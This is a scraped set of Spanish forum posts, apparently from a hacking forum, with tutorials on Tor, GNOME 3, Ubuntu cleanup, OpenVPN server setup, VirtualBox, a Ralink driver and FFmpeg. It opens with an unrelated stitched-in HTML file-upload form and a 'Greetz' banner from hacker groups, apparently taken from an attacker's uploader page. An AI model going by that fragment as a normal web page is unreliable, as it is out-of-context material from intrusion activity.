<input type='file' name='file[]' class='multi' accept='gif|jpg|png|bmp|zip|pdf|txt|doc|docx|xlsx|mp3|swf' /><div class='MultiFile-wrap' id='MultiFile5_wrap'><input style='position: absolute; top: -3000px;' name='' class='multi MultiFile-applied' accept='gif|jpg|png|bmp|zip|pdf|txt|doc|docx|xlsx|mp3|swf' type='file' /><div class='MultiFile-list' id='MultiFile5_wrap_list'></div><div class='MultiFile-label'>
<input style='width: auto;' class='button' type='submit' value='Upload' />
</div></div></form>


+----------------------------------------------------------------------+
|       [x] Greetz   : Hidden Pain - Liyan Oz - Kedans Dz - Ddos-Dz    |
|                                                                      |
|       BaC.Dz - Killer-Dz - Cyb3r-DZ - Ev!LsCr!pT_Dz - Th3 Viper      |
|                                                                      |
|       BLaCk_SPECTRE - Kha&miX - Damane2011 - YaSmouh - ra3ch         |
|                                                                      |
|       [x] Special 10x: Sec4Ever.Com - xDZx Team - Is-Sec.Org         |
+----------------------------------------------------------------------+
#97
Hacking / [TOR Browser] Navegación Anonima
Abril 06, 2012, 12:10:10 PM

Sencillo HOW-TO que muestra como usar el nuevo navegador de TOR y su RED para entrar en "Anonimato"
#98
GNU/Linux / [Avances] Gnome 3
Marzo 02, 2011, 04:07:52 PM
A los ya radicales cambios hechos en el nuevo GNOME 3, se suma uno aun más sorprendente, la eliminación de los botones minimizar y maximizar de los controles de ventana. Se trata de un cambio que se venía discutiendo hace algún un tiempo dentro del equipo de GNOME, pero que al parecer ya se formalizó de forma definitiva. Y aunque más de alguno se tome el cabello y salte de su asiento por esto, la verdad es que hay "razonables razones" que exponen los impulsores de este radical cambio que viene.



Para empezar, ambos cambios se relacionan con la nueva forma que tiene GNOME 3 de organizar las cosas gracias a su Shell, por ejemplo ya no existe una barra inferior con la lista de ventanas o un dock, más bien se aprovecha el concepto de espacios de trabajo que muy bien implementa GNOME Shell para gestionar las ventanas. En este comentario hecho por Allan Day se exponen detalladamente las razones del cambio. Sin embargo aprovecho de sintetizar un poco de lo dicho respecto a ambas bajas comenzando por el botón minimizar.

Como mencionaba, el esquema presentado en Shell es distinto, una ventana minimizada no tiene a donde ir porque no hay ninguna barra o dock, en lugar de eso los desarrolladores animan a aprovechar toda la potencia del entorno GNOME Shell para gestionar las ventanas a través de áreas de trabajo y actividades, un concepto diferente, pero como destacan, más limpio, ágil y ordenado. Bajo este esquema, no tiene cabida la función minimizar heredada de las interfaces de antaño.

¿Y que ocurre con el botón maximizar? actualmente tiene que ver con ajustar el tamaño de la ventana, ya sea maximizarla o reducirla a un tamaño personalizado. Sin embargo el redimensionado mediante arrastar-soltar el título de ventana hacia los bordes, es un concepto que gana cada vez más fuerza y precisamente éste mecanismo, junto al doble click en el título de ventana, serán el reemplazo del tradicional botón maximizar. Y es verdad que en muchos casos no se usa.

Por último, destacan la importancia de un arreglo visualmente equilibrado, en el que se busca dejar un mayor espacio para el título de ventana, ganar en claridad y hasta dejar un lugar para eventuales botones izquierdos que pudieran surgir en el futuro.

Hasta ahí las razones expuestas para el cambio que, dentro de lo que es la experiencia del nuevo GNOME Shell, tiene mucha lógica, sin embargo son conceptos que se siguen alejando de la experiencia común y corriente (por decirlo de alguna forma) que tiene el usuario tradicional tanto de los escritorios Linux como de los de otros sistemas. Bueno, GNOME 3 continúa en desarrollo y aun parece haber tiempo para uno que otro cambio, por eso ¿que opinan de este nuevo cambio en GNOME 3? ¿una evolución natural de interfaz o demasiada innovación?


Fuente
~ No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


EDIT: Olvide decirles que para los principios de Abril del presente año (creo que el 6), se lanzara esta versión, mientras tanto sigue en ßeta, los que quieran probarla pueden hacerlo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#99
E-Zines / [Colección] Revista TuxInfo ~
Febrero 28, 2011, 10:31:08 AM
Buenas, acá les dejo las versiones actualizadas de la famosa revista TUXinfo.
Saludos!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PD: El post se actualizara, cada ves que salga una versión de la revista nueva.
#100
GNU/Linux / [TUTORIAL] Limpiando Nuestra Basura!
Febrero 27, 2011, 07:55:27 PM
Aquí les traigo la solución a esos espacios innecesarios de basura para sacarlos con algunos comandos y programas..

:Vía Terminal:

Cada vez que instalas desde Synaptic o actualizas tu Ubuntu, los paquetes que descargas de Internet quedan en /var/cache/apt/archives. Si no los borras, acumulan espacio que puede ser bastante útil. Si los quieres borrar completamente escribe en la terminal:
Código: php
sudo apt-get clean


Muchos programas que instalamos utilizan dependencias adicionales que descargan y que muchas veces son inútiles. Lo peor de todo es que cuando desinstalas a veces se quedan ocupando espacio. Para saber cúales son y poder borrarlas tipea en la terminal:
Código: php
sudo apt-get autoremove


Cada vez que actualizamos nuestro Kernel, el antiguo queda ahí, y no se desinstala. Si queremos borrarlo, podemos hacerlo con:
Código: php
sudo apt-get remove --purge linux-image-xxx-generic.


Donde XXX es nuestra versión de Kernel, pero si no sabemos cuál es la que queremos desinstalar, podemos ver las versiones con un simple:
Código: php
dpkg --get-selections | grep linux-imag


:Vía Software:

FSlint


Con una interfaz amigable, te ayuda con eso y con muchas otras cosas más; entre ellas, borrar las vistas en miniatura de tus fotos (que se acumulan con cada dispositivo que montes), y que acumula una cantidad impresionante de basura.
Para instalarlo basta solo teclear en la terminal:
Código: php
sudo apt-get install fslint


Bleachbit


Para los que no lo conocen Bleachbit es un programa impresionante, ya que con él puedes borrar todo lo que pueda ser basura: historiales, archivos temporales, miniaturas. Y no tan sólo de Ubuntu, sino de muchos programas: Firefox, Flash, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, Gimp, etc.
Puedes obtenerlo tecleando:
Código: php
sudo apt-get install bleachbit


GConf Cleaner


Es una aplicación que nos permite eliminar claves del registro que ya no se usan y que se han quedado acumuladas.
Para instalarlo solo basta teclear:
Código: php
sudo apt-get install gconf-cleaner


Básicamente, son programas que nos facilitaran la limpieza de nuestro sistema, además de darnos ese espacio que gastamos innecesariamente.. Para usarlos es muy simple, sigan las instrucciones y seleccionen lo que quieran limpiar..
Un saludo ~ Kode!!
#101


OpenVPN es un Software que hace de cliente y servidor según como lo configuremos, aclaro que hay 2 versiones de este:
- OpenVPN Community Software: Es la versión que utilizaremos y es 100% Open Source
- OpenVPN Access Server: Es la versión de pago, puede usar gratis solo hasta 2 usuarios, los usuarios adicionales son muy económicos, además tiene extras como panel de administración web, es súper fácil de configurar y mas.

Introducción

OpenVPN, es un producto de software creado por James Yonan en el año 2001 y que ha estado siendo mejorado desde entonces.

Ninguna otra solución ofrece una mezcla semejante de seguridad a nivel empresarial, seguridad, facilidad de uso y riqueza de características.

Es una solución multiplataforma que ha simplificado mucho la configuración de VPN's dejando atrás los tiempos de otras soluciones difíciles de configurar como IPsec y haciéndola más accesible para gente inexperta en este tipo de tecnología.

Supongamos que necesitamos comunicar diferentes sucursales de una organización. A continuación veremos algunas soluciones que se han ofrecido como respuesta a este tipo de necesidades.

En el pasado las comunicaciones se realizaban por correo, teléfono o fax. Hoy en día hay factores que hacen necesaria la implementación de soluciones más sofisticadas de conectividad entre las oficinas de las organizaciones a lo largo del mundo.

Dichos factores son:

- La aceleración de los procesos de negocios y su consecuente aumento en la necesidad de intercambio flexible y rápido de información.
- Muchas organizaciones tienen varias sucursales en diferentes ubicaciones así como también tele trabajadores remotos desde sus casas, quienes necesitan intercambiar información sin ninguna demora, como si estuvieran físicamente juntos.
- La necesidad de las redes de computación de cumplir altos estándares de seguridad que aseguren la autenticidad, integridad y disponibilidad.

Fuente: Wikipedia

El Servidor

Esta guía es para Ubuntu 10.04 Server, imagino que funciona en otras versiones y distros, tenemos un ubuntu server ya instalado y funcionando.
Instalamos OpenVPN y también OpenSSL, ya que la seguridad se basa en ssl.

Código: php
sudo apt-get -y install openvpn
sudo apt-get -y install openssl


Configuramos el Demonio de OpenVPN para que No Auto Inicie con el Sistema
Comentamos todo agregando # al comienzo de cada linea.

Código: php
sudo nano /etc/default/openvpn


Tambien eliminar el script de inicio, para evitar que no inicie si configurar.

Código: php
sudo update-rc.d -f /etc/init.d/openvpn remove


Ahora Creamos el Archivo openvpn.conf en /etc/openvpn/

Código: php
sudo nano /etc/openvpn/server.conf


Colocamos esta configuración:

Código: php
dev tun
proto tcp
port 1194
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/servidor.crt
key /etc/openvpn/keys/servidor.key
dh /etc/openvpn/keys/dh2048.pem
user nobody
group nogroup
server 10.6.0.0 255.255.255.0
ifconfig-pool-persist /etc/openvpn/clients.txt
status /etc/openvpn/status.txt
persist-key
persist-tun
push "redirect-gateway def1"
push "route 192.168.0.0 255.255.255.0"
keepalive 10 120
verb 3
comp-lzo
max-clients 3


Como verán se puede personalizar, este es un ejemplo que fue probado, si no quieren usar la vpn para internet seguro, osea no navegar usan internet desde la vpn, quitar la linea "redirect-gateway".

Ahora creamos el script para que configure e inicie el servidor de vpn.

Código: php
sudo nano /etc/init.d/vpnserver


Pegamos este código, cambiar el rango de ip según la configuración de paso anterior.

Código: php
#!/bin/sh
#
vpnserver_start()
{
echo "VPN Server [OK]"
echo 1 > /proc/sys/net/ipv4/ip_forward
/etc/init.d/networking restart  > /dev/null
/sbin/iptables -t nat -A POSTROUTING -s 10.6.0.0/24 -o eth0 -j MASQUERADE
/usr/sbin/openvpn --config /etc/openvpn/server.conf 2>> /etc/openvpn/error.txt 1>> /etc/openvpn/normal.txt &
}
vpnserver_stop()
{
echo "VPN Server [NO]"
/usr/bin/killall "openvpn"
iptables -F
iptables -X
/etc/init.d/networking restart > /dev/null
}
vpnserver_restart()
{
  vpnserver_stop
  sleep 1
  vpnserver_start
}
#
case "$1" in
'start')
   vpnserver_start
  ;;
'stop')
   vpnserver_stop
  ;;

'restart')
   vpnserver_restart
  ;;
*)
  vpnserver_start
;;
esac


Le asignamos permisos de ejecutable.
Código: php
sudo chmod +x /etc/init.d/vpnserver


También configuramos para que inicie con el sistema.
Código: php
sudo update-rc.d vpnserver defaults


Ya configuramos OpenVPN, ahora tenemos que activar el modulo TUN en el kernel, lo cargamos y listo.
Código: php
sudo modprobe tun
sudo echo "tun" >> /etc/modules


Como verán no fue tan difícil la configuración, pero ahora viene lo mas lento:

* Crear Diffie Hellman de 2048bits
* Crear la Entidad emisora de certificados.
* Crear los Certificados y llaves del servidor.
* Crear los certificados y llaves de cada usuario.

Copiamos los ejemplo de easy-rsa para crear la entidad, los certificados, llaves y encriptación, que usar OpenVPN,
   
Código: php
sudo cp -R /usr/share/doc/openvpn/examples/easy-rsa/ /etc/openvpn/


ahora hay que entrar en la carpeta donde están las utilidades que copiamos y crear la carpeta keys
   
Código: php
sudo cp -R /usr/share/doc/openvpn/examples/easy-rsa/ /etc/openvpn/
cd /etc/openvpn/easy-rsa/2.0
sudo mkdir keys


Solo nos queda editar el archivo vars que esta en /etc/openvpn/easy-rsa/2.0
   
Código: php
sudo nano /etc/openvpn/easy-rsa/2.0/vars


Modificamos estos valores
   
Código: php
export KEY_DIR="$EASY_RSA/keys"


Por:
   
Código: php
export KEY_DIR="/etc/openvpn/easy-rsa/2.0/keys"


Es para genere si o si en /etc/openvpn/easy-rsa/2.0/keys
seguimos, también modificamos los parámetros para Diffie Hellman de 2048bits
   
Código: php
export KEY_SIZE=1024


Por:
   
Código: php
export KEY_SIZE=2048


Solo nos faltan los datos para la entidad emisora
   
Código: php
export KEY_COUNTRY="US"
export KEY_PROVINCE="CA"
export KEY_CITY="SanFrancisco"
export KEY_ORG="Fort-Funston"
export KEY_EMAIL="[email protected]"


modifica cada valor por los de tu país, provincia, ciudad, empresa y correo
un ejemplo

Código: php
export KEY_COUNTRY="VE"
export KEY_PROVINCE="CCS"
export KEY_CITY="Chacao"
export KEY_ORG="Kodeinfect Lab's"
export KEY_EMAIL="[email protected]"


Como ven VE = Venezuela, CCS = Caracas (mi provincia) y los demas se entienden.
bueno ahora estamos preparados para comenzar, seguir estos pasos al pie de la letra, porque un error y se arruina todo.

Ejecutamos
   
Código: php
source ./vars


y nos pide que limpiemos por si hay entidades, certificados y llaves, lo hacemos con gusto
   
Código: php
./clean-all


ahora generamos la seguridad Diffie Hellman de 2048bits
   
Código: php
./build-dh


ahora generamos la entidad emisora de certificados les pedirá los mismos datos que en el archivos vars recomiendo completar cada uno, aunque ya están, no importa
   
Código: php
./build-ca


ya estamos para poder generar lo certificados y llaves primero el servidor, cambiar server por el nombre que gusten,les pedirá los mismos datos que en el archivos vars recomiendo completar cada uno, aunque ya están, no importa.
   
Código: php
./build-key-server servidor


ya tenemos los certificados y llaves de servidor ahora el cliente, cambiar cliente por el nombre que gusten,
les pedirá los mismos datos que en el archivos vars recomiendo completar cada uno, aunque ya están, no importa.
   
Código: php
./build-key cliente


este paso se debe repetir para cada cliente o usuario que quiere conectar a la vpn ya tenemos todo para funcionar, no, falta copiar los archivos que generamos al lugar que configuramos en openvpn.conf
ya que copiar la carpeta keys a /etc/openvpn/
   
Código: php
sudo cp -R /etc/openvpn/easy-rsa/2.0/keys /etc/openvpn/


ahora comprobamos que este todo en su lugar, entramos en la carpeta /etc/openvpn/keys
   
Código: php
cd /etc/openvpn/keys


y con un ls miramos si están los archivos
ahora generamos un archivo mas, este lo genera openvpn
   
Código: php
sudo openvpn --genkey --secret ta.key


Solo falta copiar los archivos ca.crt, cliente.crt, cliente.key, si creaste mas clientes copia los crt y key de cada un pendrive u otro medio no usar email para enviarlos, es como darle la llave de tu casa a un desconocido.

Listo ya esta todo en el servidor, ahora lo iniciamos para probar que todo esta correcto

Código: php
sudo /etc/init.d/vpnserver start


Si no hay errores ya tenemos nuestra vpn funcionando, solo falta el cliente.

El Cliente:

Esta guía es para Ubuntu 10.04 Desktop, imagino que funciona en otras versiones y distros, tenemos un ubuntu ya instalado y funcionando.
Instalamos OpenVPN y también OpenSSL, ya que la seguridad se basa en ssl
y como usaremos el Network Manager de Ubuntu hay que instalar el plugins para OpenVPN

Código: php
sudo apt-get -y install openvpn
sudo apt-get -y install openssl
sudo aptitude -y install network-manager-openvpn


Ahora ya estamos en condiciones de configurar nuestro cliente un ejemplo de configuración:

Con un editor de texto, gedit puede ser, pegan este código

Código: php
client
dev tun
proto tcp
remote IP-DEL-SERVIDOR PUERTO
resolv-retry infinite
nobind
#user nobody
#group nobody
persist-key
persist-tun
ca ca.crt
cert cliente.crt
key cliente.key
comp-lzo
tun-mtu 1500
keepalive 10 120
verb 4


Modifican los datos, IP-DEL-SERVIDOR este es el ip publico o de internet del servidor y PUERTO por el que asignaron en el servidor, los archivos ca.crt, cliente.crt y cliente.key son los que generamos y copiamos antes en un pendrive o en lo que sea.

Guardan el el código con el nombre que quieran pero con extensión .conf y en la misma carpeta de los archivos ca.crt, cliente.crt y cliente.key

Ahora abre el Network Manager de Ubuntu y en la pestaña VPN hay un botón Importar, buscan el archivo .conf que guardamos antes y ya esta todo.

Espero que este tutorial les sea util, fue realizado con información de varios temas :freack:
Un Saludo Kode!
#102
Pues, para los usuarios que migraron a este mundo y todavía desean o necesitan del windows, en este tuto les enseñare como montar nuestro propio laboratorio virtual para análisis/otras necesidades.

Primero, necesitaremos el emulador puede ser:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Descargarlo desde su pagina oficial.

También lo podemos descargar desde nuestra famosa terminal con un simple:
Código: php
sudo aptitude install virtualbox


Lo descargamos desde su pagina oficial, en versiones para linux = No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En mi caso la versión para Ubuntu 10.04 (Lucid Lynx)

Nos toparemos con un paquete Debian (.deb) que vendría siendo como un instalador (MSI) en Windows..
Una ves descargado para instalarlo, tecleamos en nuestra terminal:
Código: php
sudo dpkg -i nombre_del_fichero


Donde seleccionaremos instalar el paquete, seguramente nos pedirá descargar unos paquetes adicionales para el correcto funcionamiento de la aplicación, con lo cual aceptamos.

Una ves instalada la aplicación nos debe aparecer en nuestro menú: "Aplicaciones > Herramientas Del Sistema > Virtualbox"

Abrimos la aplicación y nos toparemos con las licencias de uso del virtualbox, el cual claro aceptamos:



Creando la maquina virtual:

¡Bienvenido al Asistente para crear una Nueva Máquina Virtual – Se nos presenta el asistente y avanzamos (Siguiente).

Nombre – Ponemos el nombre que le queremos dar a la máquina virtual. En mi caso yo he dejado puesto el nombre por defecto, "Windows" en la casilla de "Nombre". Y en "Tipo de OS (sist. op.)", pues obviamente Windows XP. "Siguiente".

Memoria – Es la memoria RAM que le vamos a dar a nuestro sistema huésped. En mi caso yo tengo 2GB, le he dado 1024 y el XP me va realmente muy bien. Si tienes 1 GB dale la mitad (512) y Ubuntu se puede resentir ligeramente, pero no en exceso. Si vosotros tenéis más y queréis aumentarlo, podéis hacerlo. "Siguiente".

Disco Duro Virtual – Aquí vamos a generar un disco duro virtual para el sistema operativo. Es una porción de nuestro disco duro real donde se va a instalar el sistema huésped y sus aplicaciones. Le damos al botón "New..." para crear uno y entrar en un segundo asistente que nos guiará en este otro proceso:

¡Bienvenido al Asistente para la creación de un Nuevo Disco Virtual! – Se nos presenta este nuevo asistente. Le damos a "Siguiente".

Tipo de Imagen de Disco Virtual - Tenemos dos opciones: "Imagen de expansión dinámica" y "Imagen de tamaño fijo". Más adelante le vamos a asignar un tamaño al disco duro virtual que estamos creando. Esta fase es para especificar si queremos que se ocupe ya todo ese espacio que vamos a reservar (segunda opción), o que ocupe lo necesario según vayamos instalando y vaya creciendo según se vaya necesitando. Podéis elegir la opción que queráis, aunque la más recomendada bajo mi opinión es la primera. "Siguiente".

Tamaño y Ubicación del Disco Virtual – El sistema operativo huésped se va a reducir en un simple fichero. Es como si tuviéramos una imagen de ghost o cualquier herramienta de clonacion si habéis usado alguna. En esta fase vamos a decirle dónde va a guardar esa imagen (por defecto en "/home/tu_cuenta/.VirtualBox/VDI/" y cómo se va a llamar dicho fichero (por defecto igual que la máquina virtual, "Windows" en nuestro ejemplo). Si no tenéis problema de espacio en vuestro /home, os recomiendo dejarlo como está, así como su nombre para saber de qué sistema es ese disco duro virtual en caso de que instaléis más de uno. Finalmente le damos el tamaño del disco duro. con 5 GB tendréis suficiente para Wxp y unas cuantas de aplicaciones. Si tenéis intenciones de instalar muchas o algo parecido, sois libres de aumentar el tamaño bajo vuestro propio criterio. "Siguiente".

Resumen – Nos muestra un resumen en lo referente al disco duro virtual. Si está todo en orden le damos a "Terminar", en caso contrario volvemos "Atrás" y cambiamos lo que queramos.


Nos ha devuelto a la sección donde estábamos en el primer asistente. Ya hemos creado el disco duro virtual y está seleccionado ("Windows.vdi" si habéis usado el mismo nombre que yo). "Siguiente".

Instalando el sistema operativo:

Metemos el CD de nuestro OS en la unidad CD/DVD (WinXP) en mi caso y le damos al botón "Start". Aquí no hay mucho que decir, supongo que todos habréis instalado alguna vez un Windows XP, sino es realmente sencillo. Estaréis instalándolo en una cómoda ventana como esta:



Al finalizar la instalación del OS, veremos en la misma ventana nuestro nuevo sistema operativo iniciándose en el emulador:



Hasta que veamos por fin Windows en una ventana de nuestro Ubuntu, donde comprobaréis que es un Windows completo y real y que además funciona muy holgadamente, además de que tarda muy poco en iniciarse. Tened en cuenta que hay muchos drivers y dispositivos que no se cargan, pero sí tiene todo lo básico.

También funcionan los atajos de teclado, etc. Lo que sí os pasará es que se quedará con el control del ratón y puede que no sepáis cómo hacer que os lo devuelva a vuestro Ubuntu. Pulsad la tecla "Control" de la derecha. Es un conmutador para dar y devolver el control del ratón y teclado entre el sistema anfitrión y el huésped. Además nos servirá para más cosas como veréis a continuación.

Mejorando las capacidades de VirtualBox:

¿Qué opinión os merece el programita? Pues aún puede mejorar. Iniciad vuestro Windows XP en VirtualBox y cuando acabe, en la ventana que contiene a Windows pulsado sobre "Dispositivos > Instalar Guest Additions (Aplicaciones del Huésped)...".

Si por cualquier circunstancia no saliera la ventana de instalación en el Windows virtualizado, apagad Windows y abrid su ventana de "Configuración", después a "CD/DVD-ROM" y seleccionad la segunda opción: "Archivo de imagen ISO" y en la lista desplegable os debería salir "VBoxGuestAdditions.iso". Cuando iniciéis la máquina de nuevo sí debería saliros el instalador.

Compartiendo carpetas:

Como decía antes, las Guest Additions deben estar instaladas. Vamos a compartir una carpeta. Os aconsejo que en vuestra carpeta personal haya una que sirva de intercambio con otros sistemas (reales o virtuales). Yo por ejemplo la he llamado "compartido".

Abrid un Nautilus en modo superusuario, e id a la carpeta que contiene a su vez la carpeta que vais a compartir. Yo como ejemplo voy a usar la carpeta "compartido" que está en mi home (carpeta personal). Hacemos botón derecho sobre ella, pulsamos "Propiedades" y vamos a la pestaña "Compartir". Habilitamos la primera casilla "Compartir esta carpeta" y si es la primera vez nos dirá que el servicio no está instalado, le decimos que sí, introducimos nuestra contraseña (si tiene nivel de sudo) y lo instalará. Acto seguido habilitamos las otras dos casillas si nos interesa, no necesitan explicación: "Permitir a otras personas escribir en esta carpeta" y "Acceso de invitado (para personas sin cuenta de usuario)". Finalmente le damos al botón "Crear compartición".



Bien, compartida la carpeta vamos a hacer que nuestro Windows pueda acceder a ella y para ello tenemos que prepararlo por ambos lado (Ubuntu y Windows). Empezando por la primera, con la máquina apagada vamos a "Configuración > Directorios compartidos" y a la derecha le damos al icono de la carpeta con un símbolo de suma. Se nos abre una nueva ventana donde buscaremos y seleccionaremos la carpeta compartida (en mi ejemplo /home/ceec/compartido), le ponemos de nombre el que queramos, yo dejaré "compartido" y la casilla de "Read-only" (sólo lectura) la habilitaremos si no vamos a escribir en ella desde la máquina virtual, en caso contrario la dejamos deshabilitada. Le damos a "OK" y listo.

Vamos a hacer ahora la segunda parte. Iniciamos el Windows virtualizado y abrimos una consola de Windows (tecla_win+r, cmd, enter) y escribimos lo siguiente:

Código: php
net use Z: \\vboxsvr\compartido


Te debe responder: "Se ha completado el comando correctamente". En vez de Z, puedes usar otra letra, pero ha de ser una que no esté tomada por otra unidad. Ahora si vas a "Mi PC" verás que puedes acceder ya a dicha carpeta.


Habilitando los puertos USB en VirtualBox:

Para ello vamos a seguir los buenos consejos de Ubuntu Unleashed. Tocaremos algunos archivos de texto, pero tranquilos, no será tedioso. Vamos a por el primero: editamos como superusuario el fichero "/etc/init.d/mountdevsubfs.sh":

Código: php
sudo gedit /etc/init.d/mountdevsubfs.sh


Buscamos las siguientes líneas (las líneas 4 y 5 realmente es sólo una línea):

Código: php
#
# Magic to make /proc/bus/usb work
#
#mkdir -p /dev/bus/usb/.usbfs
#domount "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644
#ln -s .usbfs/devices /dev/bus/usb/devices
#mount --rbind /dev/bus/usb /proc/bus/usb


Y quitamos las almohadillas (#) en las cuatro últimas para que el sistema las tenga en cuenta. Nos quedará tal que así (las líneas 4 y 5 realmente es sólo una línea):

Código: php
#
# Magic to make /proc/bus/usb work
#
mkdir -p /dev/bus/usb/.usbfs
domount "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644
ln -s .usbfs/devices /dev/bus/usb/devices
mount --rbind /dev/bus/usb /proc/bus/usb


Ahora vamos a la "Configuración" de la máquina virtual y después a "USB". Si nos fijamos a la derecha tenemos un icono con un conector USB y un símbolo + en verde. Al pulsarlo se nos desplegará una pequeña lista con los dispositivos USB conectados, seleccionamos el o los que queramos. Yo lo he hecho con un pendrive por ejemplo:


Habilitamos las dos casillas superiores ("Habilitar el controlador USB" y "Enable USB 2.0 Controller") y le damos a "OK".
Con esto bastaría para tener archivos compartidos y el USB en nuestro laboratorio virtual.

Espero disfruten el tutorial   :)
Saludos $: Kode!
#103


Imaginemos la siguiente situación, te compras una portatil y le Instalas Ubuntu y no detecta la red inalámbrica o Wifi, o aún peor la red por cable tampoco es detectada, esto se debe a que esos chips usan driver propietarios y no son incluidos en el kernel de ubuntu, por lo tanto hay que instalarlos como un extra, segun mi experiencia varias de las portatiles MSI tienen este chip rt3090, y segun los comentarios hay portatiles HP y Sony que hace uso de este mismo chip.

Diver Mantenido: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Este driver fue probado en MSI CR610 y MSI XSlim 320, y según comentarios en este mismo post también en la Asus eeepc 1201PN si tiene alguna otra portatil con este chip funcionara, solo hay un problema, el driver parchea el kernel y cada vez que se actualice hay que re instalar.
Recordar que todos los comandos se corren desde la terminal de un usuario que pueda usar sudo.

Instalar Ralink RT3090 en Ubuntu (Metodo APT)
Código: php
sudo add-apt-repository ppa:markus-tisoft/rt3090
sudo apt-get update
sudo apt-get install rt3090-dkms
sudo reboot


a desventaja es que sin internet no hay como instalarlo, ejemplo con la MSI XSlim no se puede porque el chip LAN tampoco es soportado, en este caso o usamos alguna placa usb o el siguiente metodo metodo.

Instalar Ralink RT3090 en Ubuntu (Metodo DEB)
Código: php
wget -c https://launchpad.net/~markus-tisoft/+archive/rt3090/+files/rt3090-dkms_2.3.1.3-0ubuntu0~ppa1_all.deb
sudo dpkg -i rt3090-dkms_2.3.1.3-0ubuntu0~ppa1_all.deb
rm rt3090-dkms_2.3.1.3-0ubuntu0~ppa1_all.deb
sudo reboot


Este metodo para MSI CR610, guardar el paquete deb y cuando se actualiza reinstalar y listo.
Este código para reinstalar el driver:
Código: php
sudo apt-get -y remove rt3090-dkms
sudo dpkg -i rt3090-dkms_2.3.1.3-0ubuntu0~ppa1_all.deb


Saludos ;)
#104
GNU/Linux / [TUTORIAL] FFMPEG By Kodeinfect
Febrero 27, 2011, 07:31:05 PM
Pues, les traigo esta maravillosa herramienta que descubrí hace tiempo ya..
Se trata del FFMPEG, según la Wikipedia esta aplicación es:
Cita de: WikipediaFFmpeg es una colección de software libre que puede grabar, convertir y hace streaming de audio y vídeo. Incluye libavcodec, una biblioteca de códecs. FFmpeg está desarrollado en GNU/Linux, pero puede ser compilado en la mayoría de los sistemas operativos, incluyendo Windows.

Ok, vamos al grano..
Primero que todo, para instalarlo.. Como siempre abrimos nuestra terminal y tecleamos:
Código: php
sudo apt-get install ffmpeg


No pesa nada, casi 630kb y en el disco ocupa unos 2MB
Para mejor funcionamiento nos descargamos lo siguiente:
Código: php
libavcodec-extra-52
libavcodec-unstripped-52
libavformat52


Ahora, suponemos que estamos en youtube y vemos un vídeo que nos gusto muchísimo, por el Audio o que se yo lo que les gusto del video..

Para bajar vídeos de youtube en Ubuntu/Linux pueden usar este tutorial que ya les había realizado antes.. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se los resumo, si lo quieren hacer por consola es mas complicado..
Si lo quieren hacer fácil, diríjanse a la carpeta "TEMP" y hay verán un archivo llamado "Flashloquesea" ese sera su vídeo jaja..

Luego que tenemos nuestro vídeo, lo copiamos a nuestro Escritorio y procedemos..
Si deseamos convertir el vídeo tecleamos en consola (Ya con un cd Escritorio):
Código: php
ffmpeg -i Flashloquesea video.xxx


Donde Flashloquesea es el vídeo que sacamos de "Temp" y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es el nuevo video, donde xxx es el formato que le queramos dar, por ejemplo "Avi,Mpg,Etc"

Ahora si queremos extraer el audio de un video, hacemos igual que en el paso anterior pero cambiamos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta donde generalmente xxx es mp3.

Acá unas capturas del FFMPEG trabajando..
Convirtiendo vídeo en .avi:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Convirtiendo vídeo en .mp3:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero les guste y les sea útil este tutorial.. Para mi esta herramienta es lo mejor!

Screencast Con FFMPEG

¿Quieres hacer videos de tu escritorio en tu ordenador, sin descargar pesados softwares que necesitan licencias y demas?

Pues con Linux (En mi caso Ubuntu 10.04) las cosas son infinitamente más fáciles, y 100% gratis.
